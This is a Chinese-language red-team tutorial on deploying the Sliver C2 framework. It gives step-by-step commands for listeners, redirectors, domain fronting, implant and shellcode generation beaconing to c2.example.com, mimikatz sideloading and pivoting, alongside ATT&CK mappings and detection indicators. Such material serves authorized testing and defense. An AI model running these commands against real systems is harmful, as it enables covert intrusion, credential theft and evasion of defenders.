概述
Sliver 是由 BishopFox 开发的开源、跨平台对手仿真框架,使用 Go 语言编写。它为红队提供植入体生成、多协议 C2 通道(mTLS、HTTP/S、DNS、WireGuard)、多操作员支持以及丰富的后渗透能力。Sliver 支持 beacon(异步)与 session(交互)两种模式,既适合长期作业,也适合交互式利用。合理的 Sliver 基础设施架构会使用重定向器、域前置和 HTTPS 证书,以维持作战弹性并规避检测。
适用场景
当需要在环境中部署或配置本技能所述能力时;当需要建立符合合规要求的安全控制时;当需要为该领域构建或改进安全架构时;当需要执行要求此实现的安全评估时。
前置条件
熟悉红队概念与工具;可访问用于安全执行的测试或实验环境;安装所需依赖的 Python 3.8+;对所有测试活动拥有适当授权。
目标
在加固的云基础设施上部署 Sliver 团队服务器;配置 HTTPS、mTLS、DNS 与 WireGuard 监听器;为目标平台生成植入体(beacon 与 session);在植入体与团队服务器之间部署 NGINX 或 Apache 重定向器;实现 Cloudflare 或基于 CDN 的域前置以混淆流量;配置基于证书认证的多操作员访问;为 C2 通信建立操作安全控制。
MITRE ATT&CK 映射
T1071.001 应用层协议:Web 协议;T1071.004 应用层协议:DNS;T1573.002 加密通道:非对称加密;T1090.002 代理:外部代理(重定向器);T1105 入口工具传输;T1132.001 数据编码:标准编码;T1572 协议隧道。
工作流程
阶段 1:团队服务器部署。为团队服务器准备一台 VPS(如 DigitalOcean、Linode、AWS EC2);加固操作系统:禁用 SSH 密码认证、配置 UFW/iptables、安装 fail2ban;使用官方安装脚本安装 Sliver:curl https://sliver.sh/install | sudo bash;启动 Sliver 服务守护进程:systemctl start sliver(或以交互方式运行 sliver-server);为团队成员生成操作员配置文件:new-operator --name operator1 --lhost <team-server-ip>。
阶段 2:监听器配置。配置带合法 SSL 证书的 HTTPS 监听器:https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem;配置用于备用 C2 的 DNS 监听器:dns --domains c2dns.example.com --lport 53;配置用于高安全会话的 mTLS 监听器:mtls --lhost 0.0.0.0 --lport 8888;配置用于隧道访问的 WireGuard 监听器:wg --lport 51820。
阶段 3:重定向器设置。部署另一台 VPS 作为重定向器(位于目标与团队服务器之间);安装并配置 NGINX 作为反向代理(配置包含 listen 443 ssl、server_name、ssl_certificate、ssl_certificate_key,以及将 location / 的 proxy_pass 指向团队服务器 443 端口,并设置 proxy_ssl_verify off、Host 与 X-Real-IP 请求头);在团队服务器上配置 iptables 规则,仅接受来自重定向器的连接(iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT 与 iptables -A INPUT -p tcp --dport 443 -j DROP);可选在重定向器前部署 Cloudflare 作为 CDN 层以实现域前置。
阶段 4:植入体生成。生成 HTTPS beacon 植入体:generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload;为受限网络生成 DNS beacon:generate beacon --dns c2dns.example.com --os windows --arch amd64;生成用于注入的 shellcode 载荷:generate --http https://c2.example.com --os windows --arch amd64 --format shellcode;配置 beacon 抖动与回连间隔:generate beacon --http https://c2.example.com --seconds 60 --jitter 30。
阶段 5:后渗透操作。与活动 beacon/session 交互:beacons 列出活动 beacon,use <beacon-id> 与某 beacon 交互;执行后渗透模块:ps 进程列出、netstat 网络连接、execute-assembly /path/to/Seatbelt.exe -group=all 运行 .NET 程序集、sideload /path/to/mimikatz.dll 加载 DLL;设置跳板以访问内网:pivots tcp --bind 0.0.0.0:9898 在被控主机上创建跳板监听器;使用 BOF(Beacon Object Files)进行内存执行:armory install sa-ldapsearch 从 armory 安装,sa-ldapsearch -- "(objectClass=user)" 执行 BOF。
工具与资源
Sliver Server:C2 团队服务器与植入体管理,平台 Linux/macOS/Windows;Sliver Client:团队成员使用的操作员控制台,跨平台;NGINX:重定向器与反向代理,Linux;Certbot:Let's Encrypt SSL 证书生成,Linux;Cloudflare:CDN 与域前置,云;Armory:Sliver 扩展/BOF 包管理器,内置。
检测特征
默认 Sliver HTTP 请求头:通过网络流量分析识别异常 User-Agent 字符串;非标准端口上的 mTLS:通过防火墙日志识别到异常端口的外连;高熵 DNS TXT 记录查询:通过 DNS 日志分析识别编码的 C2 流量;51820 端口上的 WireGuard UDP 流量:通过网络流分析识别 WireGuard 握手模式;Sliver 植入体文件哈希:通过 EDR/AV 特征匹配已知 Sliver 样本。
验证标准
团队服务器已部署并用防火墙规则加固;HTTPS 监听器已配置有效 SSL 证书;DNS 监听器已配置为备用 C2 通道;目标与团队服务器之间至少部署一个重定向器;多操作员访问已配置唯一证书;已为目标操作系统生成植入体;已配置 beacon 回连间隔与抖动以增强隐蔽性;已测试后渗透模块(进程列出、.NET 程序集执行);已验证跳板功能用于内网访问;所有 C2 流量均已加密并经过重定向器。